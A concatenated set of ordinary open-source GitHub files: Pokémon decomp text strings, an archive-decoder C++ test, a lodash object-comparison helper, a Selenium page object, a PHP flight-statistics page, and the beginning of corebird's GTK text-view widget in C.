.string "But it failed to make\n"
.string "anyone nervous.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_ButItWasIgnored:: @ 827E638
.string "But it was ignored…{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_CouldntImproveItsCondition:: @ 827E658
.string "But it couldn't improve\n"
.string "its condition…{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_BadConditionResultedInWeakAppeal:: @ 827E68B
.string "Its bad condition\n"
.string "resulted in a weak appeal.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonWasUnaffected:: @ 827E6C4
.string "{STR_VAR_1} was\n"
.string "unaffected.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_RepeatedAppeal:: @ 827E6E3
.string "{STR_VAR_1} disappointed\n"
.string "by repeating an appeal.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonsXWentOverGreat:: @ 827E717
.string "{STR_VAR_1}'s {STR_VAR_3}\n"
.string "went over great.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonsXDidntGoOverWell:: @ 827E73C
.string "{STR_VAR_1}'s {STR_VAR_3}\n"
.string "didn't go over well here…{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonsXGotTheCrowdGoing:: @ 827E76A
.string "{STR_VAR_1}'s {STR_VAR_3}\n"
.string "got the crowd going.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonCantAppealNextTurn:: @ 827E793
.string "{STR_VAR_1} can't appeal\n"
.string "next turn…{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_AttractedCrowdsAttention:: @ 827E7BA
.string "It attracted the crowd's\n"
.string "attention.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_CrowdContinuesToWatchMon:: @ 827E7EA
.string "The crowd continues to\n"
.string "watch {STR_VAR_3}.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonsMoveIsIgnored:: @ 827E817
.string "{STR_VAR_1}'s\n"
.string "{STR_VAR_2} is ignored.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_Contest_Shyness:: @ 827E837
.string "shyness$"
gText_Contest_Anxiety:: @ 827E83F
.string "anxiety$"
gText_Contest_Laziness:: @ 827E847
.string "laziness$"
gText_Contest_Hesitancy:: @ 827E850
.string "hesitancy$"
gText_Contest_Fear:: @ 827E85A
.string "fear$"
gText_Contest_Coolness:: @ 827E85F
.string "coolness$"
gText_Contest_Beauty:: @ 827E868
.string "beauty$"
gText_Contest_Cuteness:: @ 827E86F
.string "cuteness$"
gText_Contest_Smartness:: @ 827E878
.string "smartness$"
gText_Contest_Toughness:: @ 827E882
.string "toughness$"
@ Unused
gText_Tension:: @ 827E88C
.string "TENSION$"
gText_CoolMove:: @ 827E894
.string "COOL Move$"
gText_BeautyMove:: @ 827E89E
.string "BEAUTY Move$"
gText_CuteMove:: @ 827E8AA
.string "CUTE Move$"
gText_SmartMove:: @ 827E8B4
.string "SMART Move$"
gText_ToughMove:: @ 827E8BF
.string "TOUGH Move$"
gText_3QuestionMarks:: @ 827E8CA
.string "???$"
| {
"pile_set_name": "Github"
} |
// Copyright (C) 2016 by rr-
//
// This file is part of arc_unpacker.
//
// arc_unpacker is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or (at
// your option) any later version.
//
// arc_unpacker is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with arc_unpacker. If not, see <http://www.gnu.org/licenses/>.
#include "dec/pajamas/gamedat_archive_decoder.h"
#include "io/memory_byte_stream.h"
#include "test_support/catch.h"
#include "test_support/decoder_support.h"
#include "test_support/file_support.h"
using namespace au;
using namespace au::dec::pajamas;
static std::unique_ptr<io::File> get_gamedat_file(
const int version,
const std::vector<std::shared_ptr<io::File>> &expected_files)
{
auto output_file = std::make_unique<io::File>("test.dat", ""_b);
output_file->stream.write("GAMEDAT PAC"_b);
output_file->stream.write<u8>(version == 1 ? 'K' : '2');
output_file->stream.write_le<u32>(expected_files.size());
const auto name_size = version == 1 ? 16 : 32;
for (const auto &file : expected_files)
output_file->stream.write_zero_padded(file->path.str(), name_size);
auto data_offset = 0_z;
for (const auto &file : expected_files)
{
output_file->stream.write_le<u32>(data_offset);
output_file->stream.write_le<u32>(file->stream.size());
data_offset += file->stream.size();
}
for (const auto &file : expected_files)
output_file->stream.write(file->stream.seek(0).read_to_eof());
return output_file;
}
TEST_CASE("Pajamas GAMEDAT archives", "[dec]")
{
const std::vector<std::shared_ptr<io::File>> expected_files =
{
tests::stub_file("123.txt", "1234567890"_b),
tests::stub_file("abc.txt", "abcdefghijklmnopqrstuvwxyz"_b),
};
std::unique_ptr<io::File> input_file;
SECTION("Version 1")
{
input_file = get_gamedat_file(1, expected_files);
}
SECTION("Version 2")
{
input_file = get_gamedat_file(2, expected_files);
}
const auto decoder = GamedatArchiveDecoder();
const auto actual_files = tests::unpack(decoder, *input_file);
tests::compare_files(actual_files, expected_files, true);
}
| {
"pile_set_name": "Github"
} |
var baseHas = require('./baseHas'),
keys = require('../keys');
/** Used to compose bitmasks for comparison styles. */
var UNORDERED_COMPARE_FLAG = 1,
PARTIAL_COMPARE_FLAG = 2;
/**
* A specialized version of `baseIsEqualDeep` for objects with support for
* partial deep comparisons.
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {Function} equalFunc The function to determine equivalents of values.
* @param {Function} [customizer] The function to customize comparisons.
* @param {number} [bitmask] The bitmask of comparison flags. See `baseIsEqual` for more details.
* @param {Object} [stack] Tracks traversed `object` and `other` objects.
* @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
*/
function equalObjects(object, other, equalFunc, customizer, bitmask, stack) {
var isPartial = bitmask & PARTIAL_COMPARE_FLAG,
isUnordered = bitmask & UNORDERED_COMPARE_FLAG,
objProps = keys(object),
objLength = objProps.length,
othProps = keys(other),
othLength = othProps.length;
if (objLength != othLength && !isPartial) {
return false;
}
var index = objLength;
while (index--) {
var key = objProps[index];
if (!(isPartial ? key in other : baseHas(other, key)) ||
!(isUnordered || key == othProps[index])) {
return false;
}
}
// Assume cyclic values are equal.
var stacked = stack.get(object);
if (stacked) {
return stacked == other;
}
var result = true;
stack.set(object, other);
var skipCtor = isPartial;
while (++index < objLength) {
key = objProps[index];
var objValue = object[key],
othValue = other[key];
if (customizer) {
var compared = isPartial
? customizer(othValue, objValue, key, other, object, stack)
: customizer(objValue, othValue, key, object, other, stack);
}
// Recursively compare objects (susceptible to call stack limits).
if (!(compared === undefined
? (objValue === othValue || equalFunc(objValue, othValue, customizer, bitmask, stack))
: compared
)) {
result = false;
break;
}
skipCtor || (skipCtor = key == 'constructor');
}
if (result && !skipCtor) {
var objCtor = object.constructor,
othCtor = other.constructor;
// Non `Object` object instances with different constructors are not equal.
if (objCtor != othCtor &&
('constructor' in object && 'constructor' in other) &&
!(typeof objCtor == 'function' && objCtor instanceof objCtor &&
typeof othCtor == 'function' && othCtor instanceof othCtor)) {
result = false;
}
}
stack['delete'](object);
return result;
}
module.exports = equalObjects;
| {
"pile_set_name": "Github"
} |
// <copyright file="MultipleWindowsPage.cs" company="Objectivity Bespoke Software Specialists">
// Copyright (c) Objectivity Bespoke Software Specialists. All rights reserved.
// </copyright>
// <license>
// The MIT License (MIT)
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
// </license>
namespace Ocaramba.Tests.PageObjects.PageObjects.TheInternet
{
using System;
using Ocaramba;
using Ocaramba.Extensions;
using Ocaramba.Types;
public class MultipleWindowsPage : ProjectPageBase
{
private readonly ElementLocator
clickHerePageLocator = new ElementLocator(Locator.CssSelector, "a[href='/windows/new']");
public MultipleWindowsPage(DriverContext driverContext)
: base(driverContext)
{
}
public NewWindowPage OpenNewWindowPage()
{
this.Driver.GetElement(this.clickHerePageLocator).Click();
this.Driver.SwitchToWindowUsingUrl(new Uri("http://the-internet.herokuapp.com/windows/new"), 5);
return new NewWindowPage(this.DriverContext);
}
}
}
| {
"pile_set_name": "Github"
} |
/*******************************
User Variable Overrides
*******************************/
| {
"pile_set_name": "Github"
} |
<?php
require_once('require/class.Connection.php');
require_once('require/class.Spotter.php');
require_once('require/class.Language.php');
if (!isset($_GET['country'])) {
header('Location: '.$globalURL.'/country');
die();
}
$Spotter = new Spotter();
$country = ucwords(str_replace("-", " ", urldecode(filter_input(INPUT_GET,'country',FILTER_SANITIZE_STRING))));
$sort = filter_input(INPUT_GET,'sort',FILTER_SANITIZE_STRING);
if (isset($_GET['sort'])) {
$spotter_array = $Spotter->getSpotterDataByCountry($country, "0,1", $sort);
} else {
$spotter_array = $Spotter->getSpotterDataByCountry($country, "0,1", '');
}
if (!empty($spotter_array))
{
$title = sprintf(_("Most Common Arrival Airports by Country from %s"),$country);
require_once('header.php');
print '<div class="select-item">';
print '<form action="'.$globalURL.'/country" method="post">';
print '<select name="country" class="selectpicker" data-live-search="true">';
print '<option></option>';
$all_countries = $Spotter->getAllCountries();
foreach($all_countries as $all_country)
{
if($country == $all_country['country'])
{
print '<option value="'.strtolower(str_replace(" ", "-", $all_country['country'])).'" selected="selected">'.$all_country['country'].'</option>';
} else {
print '<option value="'.strtolower(str_replace(" ", "-", $all_country['country'])).'">'.$all_country['country'].'</option>';
}
}
print '</select>';
print '<button type="submit"><i class="fa fa-angle-double-right"></i></button>';
print '</form>';
print '</div>';
if ($_GET['country'] != "NA")
{
print '<div class="info column">';
print '<h1>'.sprintf(_("Airports & Airlines from %s"),$country).'</h1>';
print '</div>';
} else {
print '<div class="alert alert-warning">'._("This special country profile shows all flights that do <u>not</u> have a country of a airline or departure/arrival airport associated with them.").'</div>';
}
include('country-sub-menu.php');
print '<div class="column">';
print '<h2>'._("Most Common Arrival Airports by Country").'</h2>';
print '<p>'.sprintf(_("The statistic below shows all arrival airports by Country of origin of flights of airports & airlines from <strong>%s</strong>."),$country).'</p>';
$airport_country_array = $Spotter->countAllArrivalAirportCountriesByCountry($country);
print '<script type="text/javascript" src="'.$globalURL.'/js/d3.min.js"></script>';
print '<script type="text/javascript" src="'.$globalURL.'/js/topojson.v2.min.js"></script>';
print '<script type="text/javascript" src="'.$globalURL.'/js/datamaps.world.min.js"></script>';
print '<div id="chartCountry" class="chart" width="100%"></div><script>';
print 'var series = [';
$country_data = '';
foreach($airport_country_array as $airport_item)
{
$country_data .= '[ "'.$airport_item['arrival_airport_country_iso3'].'",'.$airport_item['airport_arrival_country_count'].'],';
}
$country_data = substr($country_data, 0, -1);
print $country_data;
print '];';
print 'var dataset = {};var onlyValues = series.map(function(obj){ return obj[1]; });var minValue = Math.min.apply(null, onlyValues), maxValue = Math.max.apply(null, onlyValues);';
print 'var paletteScale = d3.scale.log().domain([minValue,maxValue]).range(["#EFEFFF","#001830"]);';
print 'series.forEach(function(item){var iso = item[0], value = item[1]; dataset[iso] = { numberOfThings: value, fillColor: paletteScale(value) };});';
print 'new Datamap({
element: document.getElementById("chartCountry"),
projection: "mercator", // big world map
fills: { defaultFill: "#F5F5F5" },
data: dataset,
responsive: true,
geographyConfig: {
borderColor: "#DEDEDE",
highlightBorderWidth: 2,
highlightFillColor: function(geo) {
return geo["fillColor"] || "#F5F5F5";
},
highlightBorderColor: "#B7B7B7",
done: function(datamap) {
datamap.svg.call(d3.behavior.zoom().on("zoom", redraw));
function redraw() {
datamap.svg.selectAll("g").attr("transform", "translate(" + d3.event.translate + ")scale(" + d3.event.scale + ")");
}
},
popupTemplate: function(geo, data) {
if (!data) { return ; }
return ['."'".'<div class="hoverinfo">'."','<strong>', geo.properties.name, '</strong>','<br>Count: <strong>', data.numberOfThings, '</strong>','</div>'].join('');
}
}
});";
print '</script>';
if (!empty($airport_country_array))
{
print '<div class="table-responsive">';
print '<table class="common-country table-striped">';
print '<thead>';
print '<th></th>';
print '<th>'._("Country").'</th>';
print '<th>'._("# of times").'</th>';
print '</thead>';
print '<tbody>';
$i = 1;
foreach($airport_country_array as $airport_item)
{
print '<tr>';
print '<td><strong>'.$i.'</strong></td>';
print '<td>';
print '<a href="'.$globalURL.'/country/'.strtolower(str_replace(" ", "-", $airport_item['arrival_airport_country'])).'">'.$airport_item['arrival_airport_country'].'</a>';
print '</td>';
print '<td>';
print $airport_item['airport_arrival_country_count'];
print '</td>';
print '</tr>';
$i++;
}
print '<tbody>';
print '</table>';
print '</div>';
}
print '</div>';
} else {
$title = _("Country");
require_once('header.php');
print '<h1>'._("Error").'</h1>';
print '<p>'._("Sorry, the country does not exist in this database. :(").'</p>';
}
require_once('footer.php');
?> | {
"pile_set_name": "Github"
} |
/* This file is part of corebird, a Gtk+ linux Twitter client.
* Copyright (C) 2017 Timm Bäder
*
* corebird is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* corebird is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with corebird. If not, see <http://www.gnu.org/licenses/>.
*/
#include "CbTextView.h"
#include "CbUserCounter.h"
#include "CbUtils.h"
#include <libtweetlength.h>
#include "corebird.h"
#ifdef SPELLCHECK
#include <gspell/gspell.h>
#endif
#define TAG_NO_SPELL_CHECK "gtksourceview:context-classes:no-spell-check"
static const char * TEXT_TAGS[] = {"hashtag", "mention", "link", "snippet" };
G_DEFINE_TYPE (CbTextView, cb_text_view, GTK_TYPE_WIDGET);
enum {
SIGNAL_CHANGED,
SIGNAL_SEND,
LAST_SIGNAL
};
static guint text_view_signals[LAST_SIGNAL] = { 0 };
static void
get_link_color (CbTextView *self,
GdkRGBA *out_link_color)
{
GtkStyleContext *context = gtk_widget_get_style_context (GTK_WIDGET (self));
gtk_style_context_save (context);
gtk_style_context_set_state (context, GTK_STATE_FLAG_LINK);
gtk_style_context_get_color (context, out_link_color);
gtk_style_context_restore (context);
if (out_link_color->red == 1.0 &&
out_link_color->green == 1.0 &&
out_link_color->blue == 1.0 &&
out_link_color->alpha == 1.0)
{
out_link_color->red = 1.0;
out_link_color->green = 0.0;
out_link_color->blue = 0.0;
out_link_color->alpha = 1.0;
}
}
static char *
cb_text_view_get_cursor_word (CbTextView *self,
guint *start_index,
guint *end_index)
{
GtkTextBuffer *buffer;
GtkTextIter start_iter;
GtkTextIter end_iter;
char *text;
TlEntity *entities;
gsize n_entities;
guint i;
guint cursor_position;
char *cursor_word = NULL;
if (start_index != NULL)
g_assert (end_index != NULL);
buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (self->text_view));
gtk_text_buffer_get_bounds (buffer, &start_iter, &end_iter);
g_object_get (G_OBJECT (buffer), "cursor-position", &cursor_position, NULL);
text = gtk_text_buffer_get_text (buffer, &start_iter, &end_iter, FALSE);
entities = tl_extract_entities_and_text (text, &n_entities, NULL);
for (i = 0; i < n_entities; i ++)
{
const TlEntity *e = &entities[i];
if (e->start_character_index <= cursor_position &&
e->start_character_index + e->length_in_characters >= cursor_position)
{
cursor_word = g_malloc (e->length_in_bytes + 1);
memcpy (cursor_word, e->start, e->length_in_bytes);
cursor_word[e->length_in_bytes] = '\0';
if (start_index != NULL)
{
*start_index = e->start_character_index;
*end_index = e->start_character_index + e->length_in_characters;
}
break;
}
}
g_free (entities);
g_free (text);
return cursor_word;
}
static void
completion_animate_func (CbAnimation *animation,
double t,
gpointer user_data)
{
CbTextView *self = (CbTextView *)animation->owner;
self->completion_show_factor = t;
gtk_widget_queue_allocate (animation->owner);
}
static void
users_received_cb (GObject *source_object,
GAsyncResult *result,
gpointer user_data)
{
CbTextView *self = user_data;
CbUserIdentity *ids;
int n_ids;
GError *error = NULL;
ids = cb_utils_query_users_finish (result, &n_ids, &error);
if (error != NULL)
{
if (error->code != G_IO_ERROR_CANCELLED)
g_warning ("%s Error: %s", __FUNCTION__, error->message);
return;
}
cb_user_completion_model_insert_items (self->completion_model, ids, n_ids);
g_free (ids);
}
static void
cb_text_view_select_completion_row (CbTextView *self,
int row_index)
{
int n_rows = (int)g_list_model_get_n_items (G_LIST_MODEL (self->completion_model));
int new_index;
GtkListBoxRow *row;
GtkAllocation row_allocation;
GtkAdjustment *list_adjustment;
/* We just don't support larger jumps here, which doesn't matter in practice... */
if (row_index == -1)
row_index = n_rows - 1;
new_index = row_index % n_rows;
row = gtk_list_box_get_row_at_index (GTK_LIST_BOX (self->completion_listbox), new_index);
gtk_list_box_select_row (GTK_LIST_BOX (self->completion_listbox), row);
list_adjustment = gtk_list_box_get_adjustment (GTK_LIST_BOX (self->completion_listbox));
g_assert (list_adjustment != NULL);
gtk_widget_get_allocation (GTK_WIDGET (row), &row_allocation);
gtk_adjustment_clamp_page (list_adjustment,
row_allocation.y, row_allocation.y + row_allocation.height);
self->selected_row = new_index;
}
static void
cb_text_view_start_completion (CbTextView *self,
const char *query)
{
CbUserInfo *local_infos;
int n_local_infos;
g_return_if_fail (query != NULL);
if (!gtk_widget_get_realized (GTK_WIDGET (self)))
return;
if (self->completion_word != NULL &&
strcmp (query, self->completion_word) == 0)
return;
g_free (self->completion_word);
self->completion_word = g_strdup (query);
if (self->completion_cancellable != NULL)
g_cancellable_cancel (self->completion_cancellable);
cb_user_completion_model_clear (self->completion_model);
cb_user_counter_query_by_prefix (((Account*)self->account)->user_counter,
sql_database_get_sqlite_db (((Account*)self->account)->db),
query, 10, &local_infos, &n_local_infos);
cb_user_completion_model_insert_infos (self->completion_model,
local_infos,
n_local_infos);
/* Now load users from the server */
self->completion_cancellable = g_cancellable_new ();
cb_utils_query_users_async (REST_PROXY (((Account*)self->account)->proxy),
query,
self->completion_cancellable,
users_received_cb,
self);
gtk_widget_show (self->completion_scroller);
if (!cb_animation_is_running (&self->completion_show_animation) &&
self->completion_show_factor < 1.0)
cb_animation_start (&self->completion_show_animation, NULL);
if (g_list_model_get_n_items (G_LIST_MODEL (self->completion_model)) > 0)
cb_text_view_select_completion_row (self, 0);
g_free (local_infos);
}
static void
cb_text_view_stop_completion (CbTextView *self)
{
if (self->completion_show_factor <= 0.0)
return;
self->completion_show_factor = 0.0;
self->selected_row = 0;
cb_animation_start_reverse (&self->completion_show_animation);
}
static gboolean
cb_text_view_is_completing (CbTextView *self)
{
return self->completion_show_factor > 0;
}
static GtkWidget *
create_completion_row_func (gpointer item,
gpointer user_data)
{
const CbUserIdentity *id = item;
char *screen_name;
GtkWidget *row = gtk_list_box_row_new ();
GtkWidget *box = gtk_box_new (GTK_ORIENTATION_HORIZONTAL, 0);
GtkWidget *l1 = gtk_label_new (id->user_name);
GtkWidget *l2 = gtk_label_new (NULL);
/* Ellipsize name label */
gtk_label_set_ellipsize (GTK_LABEL (l1), PANGO_ELLIPSIZE_END);
screen_name = g_strdup_printf ("@%s", id->screen_name);
gtk_label_set_label (GTK_LABEL (l2), screen_name);
g_free (screen_name);
gtk_style_context_add_class (gtk_widget_get_style_context (box), "col-spacing");
gtk_style_context_add_class (gtk_widget_get_style_context (l2), "dim-label");
gtk_container_add (GTK_CONTAINER (box), l1);
gtk_container_add (GTK_CONTAINER (box), l2);
gtk_container_add (GTK_CONTAINER (row), box);
g_object_set_data_full (G_OBJECT (row), "row-data", g_strdup (id->screen_name), g_free);
return row;
}
static void
cb_text_view_measure (GtkWidget *widget,
GtkOrientation orientation,
int for_size,
int *minimum,
int *natural,
int *minimum_baseline,
int *natural_baseline)
{
CbTextView *self = CB_TEXT_VIEW (widget);
int min1, nat1;
int min2, nat2;
gtk_widget_measure (self->scrolled_window, orientation, for_size, &min1, &nat1, NULL, NULL);
gtk_widget_measure (self->box, orientation, for_size, &min2, &nat2, NULL, NULL);
if (orientation == GTK_ORIENTATION_HORIZONTAL)
{
*minimum = MAX (min1, min2);
*natural = MAX (nat1, nat2);
}
else /* VERTICAL */
{
*minimum = min1 + min2;
*natural = nat1 + nat2;
}
}
static void
cb_text_view_size_allocate (GtkWidget *widget,
int width,
int height,
int baseline)
{
CbTextView *self = CB_TEXT_VIEW (widget);
GtkAllocation child_alloc;
int box_height;
gtk_widget_measure (self->box, GTK_ORIENTATION_VERTICAL, width,
&box_height, NULL, NULL, NULL);
child_alloc.x = 0;
child_alloc.y = height - box_height;
child_alloc.width = width;
child_alloc.height = box_height;
gtk_widget_size_allocate (self->box, &child_alloc, -1);
child_alloc.y = 0;
child_alloc.height = height - box_height;
gtk_widget_size_allocate (self->scrolled_window, &child_alloc, -1);
if (gtk_widget_get_visible (self->completion_scroller))
{
int min_height;
child_alloc.y = height - (height - 50) * self->completion_show_factor;
gtk_widget_measure (self->completion_scroller, GTK_ORIENTATION_VERTICAL, -1,
&min_height, NULL, NULL, NULL);
child_alloc.height = MAX (min_height, height - child_alloc.y);
gtk_widget_size_allocate (self->completion_scroller, &child_alloc, -1);
}
}
static void
cb_text_view_snapshot (GtkWidget *widget,
GtkSnapshot *snapshot)
{
gtk_snapshot_push_clip (snapshot,
&GRAPHENE_RECT_INIT(
0, 0,
gtk_widget_get_width (widget), gtk_widget_get_height (widget)));
GTK_WIDGET_CLASS (cb_text_view_parent_class)->snapshot (widget, snapshot);
gtk_snapshot_pop (snapshot);
}
static void
cb_text_view_finalize (GObject *object)
{
CbTextView *self = CB_TEXT_VIEW (object);
gtk_widget_unparent (self->box);
gtk_widget_unparent (self->scrolled_window);
gtk_widget_unparent (self->completion_scroller);
cb_animation_destroy (&self->completion_show_animation);
g_object_unref (self->account);
g_free (self->completion_word);
G_OBJECT_CLASS (cb_text_view_parent_class)->finalize (object);
}
static void
cb_text_view_grab_focus (GtkWidget *widget)
{
CbTextView *self = CB_TEXT_VIEW (widget);
gtk_widget_grab_focus (self->text_view);
}
static void
text_buffer_cursor_position_changed_cb (GObject *object,
GParamSpec *pspec,
gpointer user_data)
{
CbTextView *self = user_data;
char *cursor_word;
cursor_word = cb_text_view_get_cursor_word (self, NULL, NULL);
if (cursor_word == NULL ||
cursor_word[0] == '\n')
{
cb_text_view_stop_completion (self);
goto out;
}
g_debug ("'%s'", cursor_word);
if (cursor_word[0] == '@' &&
strlen (cursor_word) > 1)
cb_text_view_start_completion (self, cursor_word + 1);
else
cb_text_view_stop_completion (self);
out:
g_free (cursor_word);
}
static void
text_buffer_changed_cb (GtkTextBuffer *buffer,
gpointer user_data)
{
CbTextView *self = user_data;
GtkTextIter start_iter;
GtkTextIter end_iter;
char *text;
TlEntity *entities;
gsize n_entities;
guint i;
gtk_text_buffer_get_bounds (buffer, &start_iter, &end_iter);
/* Remove all *our* tags (gspell might add others) */
for (i = 0; i < G_N_ELEMENTS (TEXT_TAGS); i ++)
gtk_text_buffer_remove_tag_by_name (buffer, TEXT_TAGS[i], &start_iter, &end_iter);
text = gtk_text_buffer_get_text (buffer, &start_iter, &end_iter, FALSE);
entities = tl_extract_entities_and_text (text, &n_entities, NULL);
for (i = 0; i < n_entities; i ++)
{
const TlEntity *e = &entities[i];
GtkTextIter entity_start;
GtkTextIter entity_end;
gtk_text_buffer_get_iter_at_offset (buffer, &entity_start, e->start_character_index);
gtk_text_buffer_get_iter_at_offset (buffer, &entity_end,
e->start_character_index + e->length_in_characters);
/* We ignore spell checking for all our special entities */
switch (e->type)
{
case TL_ENT_MENTION:
gtk_text_buffer_apply_tag_by_name (buffer, TAG_NO_SPELL_CHECK, &entity_start, &entity_end);
gtk_text_buffer_apply_tag_by_name (buffer, "mention", &entity_start, &entity_end);
break;
case TL_ENT_HASHTAG:
gtk_text_buffer_apply_tag_by_name (buffer, TAG_NO_SPELL_CHECK, &entity_start, &entity_end);
gtk_text_buffer_apply_tag_by_name (buffer, "hashtag", &entity_start, &entity_end);
break;
case TL_ENT_LINK:
gtk_text_buffer_apply_tag_by_name (buffer, TAG_NO_SPELL_CHECK, &entity_start, &entity_end);
gtk_text_buffer_apply_tag_by_name (buffer, "link", &entity_start, &entity_end);
break;
default: {}
}
}
g_free (entities);
g_free (text);
g_signal_emit (self, text_view_signals[SIGNAL_CHANGED], 0);
}
static gboolean
cb_text_view_insert_completion (CbTextView *self,
GtkListBoxRow *row)
{
const char *screen_name;
GtkTextBuffer *buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (self->text_view));
guint word_start, word_end;
char *cursor_word = cb_text_view_get_cursor_word (self, &word_start, &word_end);
GtkTextIter word_start_iter, word_end_iter;
char *completion;
if (cursor_word == NULL)
return FALSE;
if (row == NULL)
{
g_free (cursor_word);
return FALSE;
}
screen_name = g_object_get_data (G_OBJECT (row), "row-data");
g_assert (screen_name != NULL);
g_object_freeze_notify (G_OBJECT (buffer));
gtk_text_buffer_get_iter_at_offset (buffer, &word_start_iter, word_start);
gtk_text_buffer_get_iter_at_offset (buffer, &word_end_iter, word_end);
/* Delete cursor word */
gtk_text_buffer_delete (buffer, &word_start_iter, &word_end_iter);
/* Now insert completion */
completion = g_strdup_printf ("@%s ", screen_name);
gtk_text_buffer_insert (buffer, &word_start_iter, completion, -1);
/* Cursor gets placed after the completion automatically! */
g_object_thaw_notify (G_OBJECT (buffer));
g_free (completion);
g_free (cursor_word);
return TRUE;
}
static gboolean
cb_text_view_key_press_event_cb (GtkEventControllerKey *controller,
guint keyval,
guint keycode,
guint modifiers,
gpointer user_data)
{
CbTextView *self = user_data;
/* Control + Return is send for us */
if (keyval == GDK_KEY_Return &&
(modifiers & GDK_CONTROL_MASK) > 0)
{
g_signal_emit (self, text_view_signals[SIGNAL_SEND], 0);
return GDK_EVENT_STOP;
}
if (!cb_text_view_is_completing (self))
return GDK_EVENT_PROPAGATE;
switch (keyval)
{
case GDK_KEY_Return:
{
GtkListBoxRow *selected_row = gtk_list_box_get_row_at_index (GTK_LIST_BOX (self->completion_listbox),
self->selected_row);
if (cb_text_view_insert_completion (self, selected_row))
return GDK_EVENT_STOP;
else
return GDK_EVENT_PROPAGATE;
}
case GDK_KEY_Down:
cb_text_view_select_completion_row (self, self->selected_row + 1);
return GDK_EVENT_STOP;
case GDK_KEY_Up:
cb_text_view_select_completion_row (self, self->selected_row - 1);
return GDK_EVENT_STOP;
case GDK_KEY_Escape:
cb_text_view_stop_completion (self);
return GDK_EVENT_STOP;
default:
{}
}
return GDK_EVENT_PROPAGATE;
}
static void
cb_text_view_class_init (CbTextViewClass *klass)
{
GObjectClass *object_class = G_OBJECT_CLASS (klass);
GtkWidgetClass *widget_class = GTK_WIDGET_CLASS (klass);
object_class->finalize = cb_text_view_finalize;
widget_class->measure = cb_text_view_measure;
widget_class->size_allocate = cb_text_view_size_allocate;
widget_class->snapshot = cb_text_view_snapshot;
widget_class->grab_focus = cb_text_view_grab_focus;
text_view_signals[SIGNAL_CHANGED] = g_signal_new ("changed",
G_OBJECT_CLASS_TYPE (object_class),
G_SIGNAL_RUN_FIRST,
0,
NULL, NULL,
NULL, G_TYPE_NONE, 0);
text_view_signals[SIGNAL_SEND] = g_signal_new ("send",
G_OBJECT_CLASS_TYPE (object_class),
G_SIGNAL_RUN_FIRST,
0,
NULL, NULL,
NULL, G_TYPE_NONE, 0);
gtk_widget_class_set_css_name (GTK_WIDGET_CLASS (klass), "textview");
}
static void
cb_text_view_init (CbTextView *self)
{
GtkTextBuffer *buffer;
const GdkRGBA snippet_color = { 0.0, 0.65, 0.0627, 1.0};
GdkRGBA link_color;
GtkEventController *controller;
gtk_widget_set_can_focus (GTK_WIDGET (self), TRUE);
self->scrolled_window = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_min_content_height (GTK_SCROLLED_WINDOW (self->scrolled_window), 80);
gtk_widget_set_parent (self->scrolled_window, GTK_WIDGET (self));
self->text_view = gtk_text_view_new ();
gtk_text_view_set_input_hints (GTK_TEXT_VIEW (self->text_view), GTK_INPUT_HINT_NO_EMOJI);
controller = gtk_event_controller_key_new ();
g_signal_connect (controller, "key-pressed",
G_CALLBACK (cb_text_view_key_press_event_cb), self);
gtk_widget_add_controller (self->text_view, controller);
buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (self->text_view));
